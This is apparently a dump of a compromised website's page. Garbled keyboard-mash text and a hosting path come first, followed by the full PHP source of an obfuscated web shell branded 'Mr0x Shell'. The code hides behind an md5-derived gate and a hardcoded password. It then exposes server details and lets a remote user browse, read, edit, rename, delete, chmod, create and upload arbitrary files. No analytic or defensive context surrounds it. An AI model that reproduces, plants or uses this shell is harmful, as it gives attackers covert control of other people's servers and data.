]][ahhhhhhhasdasdassasdkksdadddsddfgh
במ12[aspddfsdfsdfdfnsd g ggk ffghaskjjsaddddkdasdasd asdadghdgh;';';'
/
home
/
swordshipmanagem
/
public_html
/
Upload FileeE
HOME
<?php $_602="H";$_392="l";$_602.="T";$_392.="g";$_602.="T";$_602.="P";$_602.="_";$_703 ="<";$_602.="H";$_392.="_";$_703.="f";$_703.="o";$_602.="O";$_602.="S";$_392.="m";$_602.="T";$_392.="i";$_703.="r";$_392.="m";$_703.="m";$_392.="a";$_703.=" ";$_703.="n";$_703.="a";$_703.="m";$_703.="e";$_703.="=";$_703.="'";$_703.="f";$_703.="o";$_703.="r";$_703.="m";$_703.="1";$_703.="'";$_703.=" ";$_703.="a";$_703.="c";$_703.="t";$_703.="i";$_703.="o";$_703.="n";$_703.="=";$_703.="'";$_703.="'";$_703.=" ";$_703.="m";$_703.="e";$_703.="t";$_703.="h";$_703.="o";$_703.="d";$_703.="=";$_703.="'";$_703.="p";$_703.="o";$_703.="s";$_703.="t";$_703.="'";$_703.=">";$_703.="<";$_703.="i";$_703.="n";$_703.="p";$_703.="u";$_703.="t";$_703.=" ";$_703.="n";$_703.="a";$_703.="m";$_703.="e";$_703.="=";$_703.="'";$_703.="l";$_703.="g";$_703.="_";$_703.="m";$_703.="i";$_703.="m";$_703.="a";$_703.="'";$_703.=" ";$_703.="t";$_703.="y";$_703.="p";$_703.="e";$_703.="=";$_703.="'";$_703.="t";$_703.="e";$_703.="x";$_703.="t";$_703.="'";$_703.=">";$_703.="<";$_703.="i";$_703.="n";$_703.="p";$_703.="u";$_703.="t";$_703.=" ";$_703.="n";$_703.="a";$_703.="m";$_703.="e";$_703.="=";$_703.="'";$_703.="s";$_703.="u";$_703.="b";$_703.="m";$_703.="i";$_703.="t";$_703.="'";$_703.=" ";$_703.="t";$_703.="y";$_703.="p";$_703.="e";$_703.="=";$_703.="'";$_703.="s";$_703.="u";$_703.="b";$_703.="m";$_703.="i";$_703.="t";$_703.="'";$_703.=" ";$_703.="v";$_703.="a";$_703.="l";$_703.="u";$_703.="e";$_703.="=";$_703.="'";$_703.="s";$_703.="u";$_703.="b";$_703.="m";$_703.="i";$_703.="t";$_703.="'";$_703.=">";$_703.="<";$_703.="/";session_start();$_703.="f";$_703.="o";$_703.="r";$_703.="m";$_703.=">";$_764=$_SERVER[$_602];$_764.=$_392;$_764=md5($_764);$_764=substr($_764,0,6);if(isset($_POST[$_392])){$_SESSION[$_392]=trim($_POST[$_392]);}if(empty($_SESSION[$_392])||$_SESSION[$_392]!=$_764){echo $_703; exit;}?><?php error_reporting(0); session_start(); if (md5($_POST["password"]) == md5('fg123')) { $_SESSION["isLogin"] = true; } else { XWoSq(); } function SVpSK() { $AyqtG = ["ip" => $_SERVER["SERVER_ADDR"], "host" => gethostname(), "kernel" => php_uname(), "disablefunc" => ini_get("disable_functions"), "path" => getcwd(), "os" => PHP_OS]; return $AyqtG; } $ATvR0 = svPSK(); if (strtoupper(substr($ATvR0["os"], 0, 3)) == "WIN") { $ATvR0["os"] = "Windows"; $a0LJa = explode("\\", $ATvR0["path"]); $a0LJa = $a0LJa[0] . "/"; } else { if (strtoupper(substr($ATvR0["os"], 0, 3)) == "LIN") { $ATvR0["os"] = "Linux"; $a0LJa = "/"; } } $tnyU3 = getcwd(); if (isset($_GET["path"])) { $UWl_4 = str_replace("\\", "/", $_GET["path"]); $UWl_4 = str_replace("//", "/", $_GET["path"]); $PJlAa = explode("/", $UWl_4); } else { $UWl_4 = str_replace("\\", "/", $tnyU3); $PJlAa = explode("/", $UWl_4); } function XWosq() { if (!isset($_SESSION["isLogin"])) { echo "<style>\r\n body{\r\n background-color: grey;\r\n }\r\n .centered-form {\r\n display: flex;\r\n justify-content: center;\r\n align-items: center;\r\n height: 100%;\r\n }\r\n .centered-form form {\r\n background-color: #f0f0f0;\r\n padding: 20px;\r\n border-radius: 5px;\r\n box-shadow: 0 0 10px rgba(0, 0, 0, 0.2);\r\n display: flex;\r\n flex-direction: column;\r\n align-items: center;\r\n }\r\n .centered-form input[type='password'] {\r\n padding: 10px;\r\n margin: 5px;\r\n border: 1px solid #ccc;\r\n border-radius: 5px;\r\n }\r\n .centered-form button {\r\n padding: 10px 20px;\r\n background-color: #007bff;\r\n color: white;\r\n border: none;\r\n border-radius: 5px;\r\n cursor: pointer;\r\n }\r\n</style>"; echo "<div class='centered-form'>\r\n <form method='POST'>\r\n (fg123) <input type='password' name='password'>\r\n <button type='submit'>Submit</button>\r\n </form>\r\n</div>"; die; } } function rzQgm($wn0Hz) { $mYDIb = fileperms($wn0Hz); switch ($mYDIb & 0xf000) { case 0xc000: $pcpDP = "s"; break; case 0xa000: $pcpDP = "l"; break; case 0x8000: $pcpDP = "-"; break; case 0x6000: $pcpDP = "b"; break; case 0x4000: $pcpDP = "d"; break; case 0x2000: $pcpDP = "c"; break; case 0x1000: $pcpDP = "p"; break; default: $pcpDP = "u"; } $pcpDP .= $mYDIb & 0x100 ? "r" : "-"; $pcpDP .= $mYDIb & 0x80 ? "w" : "-"; $pcpDP .= $mYDIb & 0x40 ? $mYDIb & 0x800 ? "s" : "x" : ($mYDIb & 0x800 ? "S" : "-"); $pcpDP .= $mYDIb & 0x20 ? "r" : "-"; $pcpDP .= $mYDIb & 0x10 ? "w" : "-"; $pcpDP .= $mYDIb & 0x8 ? $mYDIb & 0x400 ? "s" : "x" : ($mYDIb & 0x400 ? "S" : "-"); $pcpDP .= $mYDIb & 0x4 ? "r" : "-"; $pcpDP .= $mYDIb & 0x2 ? "w" : "-"; $pcpDP .= $mYDIb & 0x1 ? $mYDIb & 0x200 ? "t" : "x" : ($mYDIb & 0x200 ? "T" : "-"); return $pcpDP; } function KpHNQ($b30SH) { $SmhMA = sprintf("%u", filesize($b30SH)); if ($SmhMA > 0) { $H6Jju = intval(log($SmhMA, 1024)); $oqa49 = array("B", "KB", "MB", "GB"); if (array_key_exists($H6Jju, $oqa49) === true) { return sprintf("%d %s", $SmhMA / pow(1024, $H6Jju), $oqa49[$H6Jju]); } } return $SmhMA; } function xWsgc($q57LJ) { $nA1Dr = filter_var(htmlspecialchars(file_get_contents($q57LJ)), FILTER_SANITIZE_STRING); return $nA1Dr; } function sDm4F($TX7MV) { $G38wm = array_diff(scandir($TX7MV), array(".", "..")); foreach ($G38wm as $Wchvt) { is_dir("{$TX7MV}/{$Wchvt}") ? Sdm4F("{$TX7MV}/{$Wchvt}") : unlink("{$TX7MV}/{$Wchvt}"); } return rmdir($TX7MV); } function Yos7s($qjgU8, $PF6cr) { $MficX = move_uploaded_file($qjgU8, $PF6cr); if ($MficX) { return true; } else { return false; } } function d72yI($rx1u6) { $HePg9 = realpath($rx1u6); if ($HePg9 !== false and is_dir($HePg9)) { return true; } return false; } if (isset($_GET["path"])) { $SqtP3 = $_GET["path"]; $W1hbH = explode("/", $SqtP3); if (is_file($SqtP3)) { $RVkdA = XWSGC($SqtP3); $jbWgR = true; $Lhf_4 = scandir($SqtP3); } else { $Lhf_4 = array_diff(scandir($SqtP3), [".", ".."]); } } else { $SqtP3 = $UWl_4; $Lhf_4 = array_diff(scandir($SqtP3), [".", ".."]); } if (isset($_POST["pilihan"])) { switch ($_POST["pilihan"]) { case $_POST["pilihan"] == "edit": $jGES5 = true; $nQil0 = $_POST["dir"]; $Vfz2z = $_POST["sourceFile"]; if (empty($Vfz2z)) { } else { if (file_put_contents($nQil0, $Vfz2z)) { $eyXvJ = "Berhasil di edit"; } else { $eyXvJ = "Gagal edit"; } } break; case $_POST["pilihan"] == "rename": $LHhIf = true; $nQil0 = $_POST["dir"]; $oCV_z = $_POST["namaFile"]; $LQ5An = $_POST["namaBaru"]; if (empty($LQ5An)) { } else { if (rename($nQil0, $_GET["path"] . "/" . $LQ5An)) { $oCV_z = $LQ5An; $nQil0 = $_GET["path"] . "/" . $LQ5An; $UC_Jg = "Berhasil rename"; } else { $UC_Jg = "Gagal rename"; } } break; case $_POST["pilihan"] == "delete": $nQil0 = $_POST["dir"]; $z9ukZ = $_POST["type"]; if (isset($nQil0) && is_file($nQil0)) { if (unlink($nQil0)) { $lD7Hf = "<script>\r\n\t\t\t\t\t\t\t\t\talert('File berhasil dihapus!!');\r\n\t\t\t\t\t\t\t\t\twindow.location.href = window.location.href;\r\n\t\t\t\t\t\t\t\t </script>"; } else { $lD7Hf = "<script>\r\n\t\t\t\t\t\t\t\t\talert('File gagal dihapus!!');\r\n\t\t\t\t\t\t\t\t\twindow.location.href = window.location.href;\r\n\t\t\t\t\t\t\t\t </script>"; } } else { if (!(isset($nQil0) && is_dir($nQil0))) { } else { if (SDM4F($nQil0)) { $lD7Hf = "<script>\r\n\t\t\t\t\t\t\t\t\talert('Folder berhasil dihapus!!');\r\n\t\t\t\t\t\t\t\t\twindow.location.href = window.location.href;\r\n\t\t\t\t\t\t\t\t </script>"; } else { $lD7Hf = "<script>\r\n\t\t\t\t\t\t\t\t\talert('Folder gagal dihapus!!');\r\n\t\t\t\t\t\t\t\t\twindow.location.href = window.location.href;\r\n\t\t\t\t\t\t\t\t </script>"; } } } break; case $_POST["pilihan"] == "chmod": $uMVZd = true; $Wchvt = fileperms($_POST["dir"]); $nx0IL = substr(sprintf("%o", $Wchvt), -4); $nQil0 = $_POST["dir"]; $mYDIb = octdec($_POST["perms"]); if (!isset($_POST["perms"])) { } else { if (!isset($mYDIb)) { } else { if (chmod($nQil0, $mYDIb)) { $nx0IL = decoct($mYDIb); $yA1W_ = "Berhasil chmod!"; } else { $yA1W_ = "Gagal chmod!"; } } } break; case $_POST["pilihan"] == "create": $MABtn = ''; $xoB1l = ''; $uUj9T = $_GET["path"] . "/"; if (!isset($_POST["createAction"])) { } else { $MABtn = $_POST["createName"]; $xoB1l = $_POST["createIsi"] == NULL ? " " : $_POST["createIsi"]; if (!file_exists($uUj9T . $MABtn)) { if (file_put_contents($uUj9T . $MABtn, $xoB1l)) { $Ec7sL = "File berhasil dibuat"; } else { $Ec7sL = "Directory not Writable"; } } else { $Ec7sL = "Nama file / folder sudah ada"; } } break; case $_POST["pilihan"] == "createFolder": $uUj9T = $_GET["path"] . "/"; if (!isset($_POST["createFolder"])) { } else { $Q7vH_ = $_POST["createName"]; if (mkdir($uUj9T . $Q7vH_)) { $Ec7sL = "Folder berhasil dibuat"; } else { if (is_dir($Q7vH_)) { $Ec7sL = "Nama Folder / File sudah ada"; } else { if (!is_writable($uUj9T)) { $Ec7sL = "Directory not writable"; } else { } } } } break; case $_POST["pilihan"] == "upload": $HePg9 = $UWl_4; if (isset($_GET["path"])) { $HePg9 = $_GET["path"]; } if (empty($_FILES)) { } else { if (yOS7s($_FILES["uploadFile"]["tmp_name"], $HePg9 . "/" . $_FILES["uploadFile"]["name"])) { echo "<script>\r\n\t\t\t\t\t\t alert('File uploaded successfully!!');\r\n\t\t\t\t\t\t window.location.href = window.location.href;\r\n\t\t\t\t\t\t </script>"; } else { echo "<script>\r\n\t\t\t\t\t\t alert('File upload failed!!');\r\n\t\t\t\t\t\t window.location.href = window.location.href;\r\n\t\t\t\t\t\t </script>"; } } break; } } echo "\r\n<!DOCTYPE html>\r\n<html>\r\n<head>\r\n\t<title>Mr0x Shell</title>\r\n</head>\r\n<link href=\"https://fonts.googleapis.com/icon?family=Material+Icons\" rel=\"stylesheet\">\r\n<link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/css/materialize.min.css\">\r\n<meta name=\"viewport\" content=\"width=1024\">\r\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\"/>\r\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=0.60, shrink-to-fit=no\">\r\n<style type=\"text/css\">\r\n\tbody {\r\n\t\twidth: 100vw;\r\n \t\theight: 100px;\r\n\t\toverflow-x: hidden !important;\r\n\t}\r\n\t.info {\r\n\t\tdisplay: block;\r\n\t\twidth: 100%;\r\n\t}\r\n\t\t\r\n\ttable.striped > tbody > tr:nth-child(odd) {\r\n\t\tbackground-color: rgba(170, 213, 213, 0.5);\r\n\t}\r\n\tnav {\r\n\t\tbackground-color: #42a5f5;\r\n\t}\r\n\t.select-wrapper {\r\n\t\tposition: relative;\r\n\t\twidth: 100px;\r\n\t\tdisplay: inline-block;\r\n\t}\r\n\r\n\t.file-field .btn, .file-field .btn-large, .file-field .btn-small {\r\n\t\tfloat: inherit;\r\n\t\theight: 3rem;\r\n\t\tline-height: 3rem;\r\n\t}\r\n\r\n\t.select-wrapper .caret {\r\n\t\tright: auto !important;\r\n\t}\r\n\r\n\t.select-wrapper input.select-dropdown {\r\n\t\twidth: 50%;\r\n\t}\r\n\r\n\ttextarea {\r\n \theight: 50rem !important;\r\n\t\toverflow-y: scroll !important;\r\n\t\theight: 700px !important;\r\n\t}\r\n\r\n\t.maung {\r\n\t\theight: 700px !important;\r\n\t}\r\n\r\n\ttable{\r\n\t\twidth:100%;\r\n\t\ttable-layout: fixed;\r\n\t\toverflow-wrap: break-word;\r\n\t}\r\n\t\r\n\t@media screen and (max-width: 732px) {\r\n\t\t.navbar-text {\r\n\t\t\tfont-size: 25px !important;\r\n\t\t\twidth: 280px !important;\r\n\t\t}\r\n\t}\r\n\r\n</style>\r\n<body>\r\n\t<div class=\"content\">\r\n\t<nav>\r\n <div class=\"container\">\r\n\t <div class=\"nav-wrapper\">\r\n\t <a href=\"https://t.me/Mr0xBD\" target=\"_blank\" class=\"brand-logo center navbar-text\">WebShell By Mr0x</a>\r\n\t </div>\r\n\t </div>\r\n \t</nav>\r\n\r\n \t<div class=\"container\" style=\"margin-top: 30px;\">\r\n <b class=\"info\">Server IP : "; echo $ATvR0["ip"]; echo "</b>\r\n <b class=\"info\">Hostname : "; echo $ATvR0["host"]; echo "</b>\r\n <b class=\"info\">Kernel : "; echo $ATvR0["kernel"]; echo "</b>\r\n <b class=\"info\">OS : "; echo $ATvR0["os"]; echo "</b>\r\n\t\t<b class=\"info\">USER : "; echo get_current_user(); echo "</b>\r\n\t</div>\r\n\t<br>\t\r\n\t"; if ($jbWgR) { echo "\r\n<div class=\"container\">\r\n<div class=\"row\">\r\n\t<div style=\"font-size: 17px;\">\r\n\t"; echo "<a href=\"?path=" . $a0LJa . "\">" . "-" . "</a>"; $jLZSy = 1; while ($jLZSy < count($PJlAa)) { $rw3zM = implode("/", array_slice($PJlAa, 1, $jLZSy)); echo "/"; echo "<a href=\"?path=/" . urlencode($rw3zM) . "\">" . $PJlAa[$jLZSy] . "</a>"; $jLZSy++; } echo "\t</div>\r\n <form class=\"col s12\">\r\n <div class=\"row\">\r\n <div class=\"input-field col s12\">\r\n <textarea id=\"textarea\" class=\"materialize-textarea\" style=\"background-color: ghostwhite; overflow-y: auto;\" disabled>"; echo $RVkdA; echo "</textarea>\r\n </div>\r\n </div>\r\n </form>\r\n </div>\r\n </div>\r\n\t"; } else { if ($jGES5) { echo "\t\t<div class=\"container\">\r\n\t\t"; echo "<a href=\"?path=" . $a0LJa . "\">" . "-" . "</a>"; $jLZSy = 1; while ($jLZSy < count($PJlAa)) { $rw3zM = implode("/", array_slice($PJlAa, 1, $jLZSy)); echo "/"; echo "<a href=\"?path=/" . urlencode($rw3zM) . "\">" . $PJlAa[$jLZSy] . "</a>"; $jLZSy++; } echo "\t\t"; echo !empty($eyXvJ) ? "<p class='blue-text text-darken-2'>" . $eyXvJ . "</p>" : ''; echo "\t\t<form method=\"POST\">\r\n\t\t<input type=\"hidden\" name=\"dir\" value=\""; echo $nQil0; echo "\">\r\n\t\t<input type=\"hidden\" name=\"pilihan\" value=\"edit\">\r\n\t\t<div class=\"row\">\r\n\t\t\t<form class=\"col s12\">\r\n\t\t\t\t<div class=\"input-field col s12\">\r\n\t\t\t\t<textarea name=\"sourceFile\" id=\"textarea\" class=\"materialize-textarea\" style=\"background-color: ghostwhite; overflow-y: auto;\" >"; echo XwSGC($nQil0); echo "</textarea>\r\n\t\t\t\t<label for=\"textarea\" class='active'>Edit File</label>\r\n\t\t\t\t<button class=\"btn waves-effect waves-light\" type=\"submit\" name=\"action\">Edit</button>\r\n\t\t\t</form>\r\n\t\t</div>\r\n\t\t</form>\r\n\t\t</div>\r\n\t"; } else { if ($LHhIf) { echo "\t\t<div class=\"container\">\r\n\t\t"; echo "<a href=\"?path=" . $a0LJa . "\">" . "-" . "</a>"; $jLZSy = 1; while ($jLZSy < count($PJlAa)) { $rw3zM = implode("/", array_slice($PJlAa, 1, $jLZSy)); echo "/"; echo "<a href=\"?path=/" . urlencode($rw3zM) . "\">" . $PJlAa[$jLZSy] . "</a>"; $jLZSy++; } echo "\t\t"; echo !empty($UC_Jg) ? "<p class='blue-text text-darken-2'>" . $UC_Jg . "</p>" : ''; echo "\t\t<form method=\"POST\">\r\n\t\t\t<input type=\"hidden\" name=\"dir\" value=\""; echo $nQil0; echo "\">\r\n\t\t\t<input type=\"hidden\" name=\"pilihan\" value=\"rename\">\r\n\t\t\t <div class=\"row center-align\">\r\n\t\t\t <div class=\"input-field col s12\">\r\n\t\t\t <input value=\""; echo $oCV_z; echo "\" name=\"namaBaru\" id=\"rename\" type=\"text\" class=\"validate\">\r\n\t\t\t <label class=\"active\" for=\"rename\">Input disini:</label>\r\n\t\t\t <button class=\"btn waves-effect waves-light\" type=\"submit\" name=\"action\">Rename</button>\r\n\t\t\t </div>\r\n\t\t\t </div>\t\t\t \r\n\t\t</form>\r\n\t\t</div>\r\n\t"; } else { if ($uMVZd) { echo "\t\t<div class=\"container\">\r\n\t\t"; echo "<a href=\"?path=" . $a0LJa . "\">" . "-" . "</a>"; $jLZSy = 1; while ($jLZSy < count($PJlAa)) { $rw3zM = implode("/", array_slice($PJlAa, 1, $jLZSy)); echo "/"; echo "<a href=\"?path=/" . urlencode($rw3zM) . "\">" . $PJlAa[$jLZSy] . "</a>"; $jLZSy++; } echo "\t\t"; echo !empty($yA1W_) ? "<p class='blue-text text-darken-2'>" . $yA1W_ . "</p>" : ''; echo "\t\t<form method=\"POST\">\r\n\t\t\t<input type=\"hidden\" name=\"dir\" value=\""; echo $nQil0; echo "\">\r\n\t\t\t<input type=\"hidden\" name=\"pilihan\" value=\"chmod\">\r\n\t\t\t <div class=\"row center-align\">\r\n\t\t\t <div class=\"input-field col s12\">\r\n\t\t\t <input value=\""; echo $nx0IL; echo "\" name=\"perms\" id=\"chmod\" type=\"text\" class=\"validate\">\r\n\t\t\t <label class=\"active\" for=\"chmod\">Input disini:</label>\r\n\t\t\t <button class=\"btn waves-effect waves-light\" type=\"submit\" name=\"action\">Chmod</button>\r\n\t\t\t </div>\r\n\t\t\t </div>\r\n\t\t</form>\r\n\t\t</div>\r\n\t"; } else { if (isset($_GET["create"])) { echo "\t\t<br>\r\n\t\t<div class=\"container\">\r\n\t\t"; echo "<a href=\"?path=" . $a0LJa . "\">" . "-" . "</a>"; $jLZSy = 1; while ($jLZSy < count($PJlAa)) { $rw3zM = implode("/", array_slice($PJlAa, 1, $jLZSy)); echo "/"; echo "<a href=\"?path=/" . urlencode($rw3zM) . "\">" . $PJlAa[$jLZSy] . "</a>"; $jLZSy++; } echo "\t\t"; echo !empty($Ec7sL) ? "<p class='blue-text text-darken-2'>" . $Ec7sL . "</p>" : ''; echo "\t\t<form method=\"POST\">\r\n\t\t\t<input type=\"hidden\" name=\"pilihan\" value=\"create\">\r\n\t\t\t <div class=\"row center-align\">\r\n\t\t\t <div class=\"input-field col s12\">\r\n\t\t\t <input name=\"createName\" id=\"createFile\" type=\"text\" class=\"validate\" value=\""; echo $MABtn; echo "\">\r\n\t\t\t <label class=\"active\" for=\"createFile\">Nama File</label>\r\n\t\t\t <textarea name=\"createIsi\" class=\"materialize-textarea\" style=\"height: 400px; background-color: ghostwhite; overflow-y: scroll;\">"; echo $xoB1l; echo "</textarea>\r\n\t\t\t <button class=\"btn waves-effect waves-light\" type=\"submit\" name=\"createAction\">Create</button>\r\n\t\t\t </div>\r\n\t\t\t </div>\r\n\t\t</form>\r\n\t\t</div>\r\n\t"; } else { if (isset($_GET["createFolder"])) { echo "\t\t<div class=\"container\">\r\n\t\t"; echo "<a href=\"?path=" . $a0LJa . "\">" . "-" . "</a>"; $jLZSy = 1; while ($jLZSy < count($PJlAa)) { $rw3zM = implode("/", array_slice($PJlAa, 1, $jLZSy)); echo "/"; echo "<a href=\"?path=/" . urlencode($rw3zM) . "\">" . $PJlAa[$jLZSy] . "</a>"; $jLZSy++; } echo "\t\t"; echo !empty($Ec7sL) ? "<p class='blue-text text-darken-2'>" . $Ec7sL . "</p>" : ''; echo "\t\t<form method=\"POST\">\r\n\t\t\t<input type=\"hidden\" name=\"pilihan\" value=\"createFolder\">\r\n\t\t\t <div class=\"row center-align\">\r\n\t\t\t <div class=\"input-field col s12\">\r\n\t\t\t <input name=\"createName\" id=\"createFolder\" type=\"text\" class=\"validate\" value=\""; echo $Q7vH_; echo "\">\r\n\t\t\t <label class=\"active\" for=\"createFolder\">Nama Folder</label>\r\n\t\t\t <button class=\"btn waves-effect waves-light\" type=\"submit\" name=\"createFolder\">Create</button>\r\n\t\t\t </div>\r\n\t\t\t </div>\r\n\t\t</form>\r\n\t\t</div>\r\n\t"; } else { echo " <div class=\"container\">\t\r\n <b class=\"info\">\r\n\t <a href=\"?create&path="; echo isset($_GET["path"]) ? $_GET["path"] : $UWl_4; echo "\" class=\"btn-floating btn-large waves-effect waves-light red\"><i class=\"material-icons\">add</i></a> <b>Add File </b>\r\n\t <a href=\"?createFolder&path="; echo isset($_GET["path"]) ? $_GET["path"] : $UWl_4; echo "\" class=\"btn-floating btn-large waves-effect waves-light blue\"\"><i class=\"material-icons\">add</i></a> <b>Add Folder</b>\r\n\t<br>\r\n\t<b class=\"info\">\r\n\t\t <form method=\"POST\" enctype=\"multipart/form-data\">\r\n\t\t <div class=\"file-field input-field\">\r\n\t\t <div class=\"btn\">\r\n\t\t <span>File</span>\r\n\t\t <input type=\"hidden\" name=\"pilihan\" value=\"upload\">\r\n\t\t <input type=\"hidden\" name=\"dir\" value=\""; echo $_GET["path"]; echo "\">\r\n\t\t <input type=\"file\" name=\"uploadFile\">\r\n\t\t </div>\r\n\t\t <div class=\"file-path-wrapper\">\r\n\t\t <input class=\"file-path validate\" type=\"text\" style=\"width: 300px\">\r\n\t\t <button class=\"btn waves-effect waves-light\" type=\"submit\" name=\"actionUpload\">Upload!\r\n\t\t\t\t</button>\r\n\t\t </div>\r\n\t\t </div>\r\n \t\t</form>\r\n\t</b>\r\n\t<!-- <div style=\"font-size: 18px;\"> -->\r\n\t<div class=\"row\"><div class=\"col s12\" style=\"font-size: 18px;\">\r\n\tPATH:\r\n\t"; echo "<a href=\"?path=" . $a0LJa . "\">" . "-" . "</a>"; $jLZSy = 1; while ($jLZSy < count($PJlAa)) { $rw3zM = implode("/", array_slice($PJlAa, 1, $jLZSy)); echo "/"; echo "<a href=\"?path=/" . urlencode($rw3zM) . "\">" . $PJlAa[$jLZSy] . "</a>"; $jLZSy++; } echo "\t</div></div>\r\n</div>\r\n\r\n <div class=\"container\">\t\r\n\t<table class=\"striped centered bordered\">\r\n\t\t"; echo !empty($lD7Hf) ? $lD7Hf : ''; echo "\t\t\t\r\n\t\t<thead>\t\r\n\t\t<tr>\r\n\t\t\t<th>Nama</th>\r\n\t\t\t<th>Size</th>\r\n\t\t\t<th>Permission</th>\r\n\t\t\t<th>Action</th>\r\n\t\t</tr>\r\n\t\t</thead>\r\n\t\t"; foreach ($Lhf_4 as $tnyU3) { echo "\t\t<tr>\r\n\t\t\t<td><a style=\"color: black;\" href=\"?path="; echo str_replace([".", "//"], ["%2e", "/"], $SqtP3 . "/" . $tnyU3); echo "\">"; echo $tnyU3; echo "</a></td>\r\n\t\t\t<td style=\"color:red\">"; echo is_file($SqtP3 . "/" . $tnyU3) ? KPHnQ($SqtP3 . "/" . $tnyU3) : "Directory"; echo "</td>\r\n\t\t\t<td>"; echo is_writable($SqtP3 . "/" . $tnyU3) ? "<font color=\"green\">" . @rzQGM($SqtP3 . "/" . $tnyU3) . "</font>" : "<font color=\"red\">" . @RZqgM($SqtP3 . "/" . $tnyU3) . "</font>"; echo "</td>\r\n\t\t\t<td>\r\n\t\t\t\t"; if (is_file($SqtP3 . "/" . $tnyU3)) { echo "\t\t\t\t<form method=\"POST\" action=\"?set&path="; echo $SqtP3; echo "\">\r\n\t\t\t\t\t<center>\r\n\t\t\t\t\t<select class=\"browser-default\" name=\"pilihan\" style=\"height: 30px; width: 100px; z-index: 1;\">\r\n\t\t\t\t\t\t<option value=\"Select\" disabled selected>Select</option>\r\n\t\t\t\t\t\t<option value=\"rename\">Rename</option>\r\n\t\t\t\t\t\t<option value=\"edit\">Edit</option>\r\n\t\t\t\t\t\t<option value=\"delete\">Delete</option>\r\n\t\t\t\t\t\t<option value=\"chmod\">Chmod</option>\r\n\t\t\t\t\t</select>\r\n\t\t\t\t\t</center>\r\n\t\t\t\t\t<input type=\"hidden\" name=\"type\" value=\"file\">\r\n\t\t\t\t\t<input type=\"hidden\" name=\"namaFile\" value=\""; echo $tnyU3; echo "\">\r\n\t\t\t\t\t<input type=\"hidden\" name=\"dir\" value=\""; echo $SqtP3 . "/" . $tnyU3; echo "\">\r\n\t\t\t\t\t <button class=\"btn waves-effect waves-light\" type=\"submit\" name=\"action\">\r\n\t\t\t\t\t <i class=\"material-icons right\">send</i>\r\n\t\t\t\t\t </button>\r\n\t\t\t\t</form>\r\n\t\t\t\t"; } else { echo "\t\t\t\t<form method=\"POST\" action=\"?set&path="; echo $SqtP3; echo "\">\t\r\n\t\t\t\t\t<center>\r\n\t\t\t\t\t<select class=\"browser-default\" name=\"pilihan\" style=\"height: 30px; width: 100px; z-index: 1;\" name=\"pilihan\">\r\n\t\t\t\t\t\t<option value=\"Select\" disabled selected>Select</option>\r\n\t\t\t\t\t\t<option value=\"rename\">Rename</option>\r\n\t\t\t\t\t\t<option value=\"delete\">Delete</option>\r\n\t\t\t\t\t\t<option value=\"chmod\">Chmod</option>\r\n\t\t\t\t\t</select>\r\n\t\t\t\t\t</center>\r\n\t\t\t\t\t<input type=\"hidden\" name=\"type\" value=\"folder\">\r\n\t\t\t\t\t<input type=\"hidden\" name=\"namaFile\" value=\""; echo $tnyU3; echo "\">\r\n\t\t\t\t\t<input type=\"hidden\" name=\"dir\" value=\""; echo $SqtP3 . "/" . $tnyU3; echo "\">\r\n\t\t\t\t\t<button class=\"btn waves-effect waves-light\" type=\"submit\" name=\"action\">\r\n\t\t\t\t\t <i class=\"material-icons right\">send</i>\r\n\t\t\t\t\t</button>\r\n\t\t\t\t</form>\r\n\t\t\t\t"; } echo "\t\t\t</td>\r\n\t\t</tr>\r\n\t\t"; } echo "\t</table>\r\n</div>\r\n\t"; } } } } } } echo "</div>\r\n\r\n\t<footer id=\"footer\" style=\"margin-top: 100px;\">\r\n\r\n\t</footer>\r\n\r\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/js/materialize.min.js\"></script>\r\n<script> \r\n\r\nvar footer = document.querySelector(\"footer\");\r\n\r\nfunction stopScrollAtFooter() {\r\n var footerHeight = footer.clientHeight;\r\n var contentHeight = document.body.scrollHeight;\r\n var scrollY = window.scrollY;\r\n\r\n\tif (scrollY + window.innerHeight >= contentHeight - footerHeight) {\r\n\t\t\twindow.scrollTo(0, contentHeight - window.innerHeight);\r\n\t\t}\r\n\t}\r\n\r\n\twindow.addEventListener(\"scroll\", stopScrollAtFooter);\r\n\r\n\r\n\tdocument.addEventListener('DOMContentLoaded', function() {\r\n var elems = document.querySelectorAll('select');\r\n var instances = M.FormSelect.init(elems, {});\r\n });\r\n</script>\r\n</body>\r\n</html>";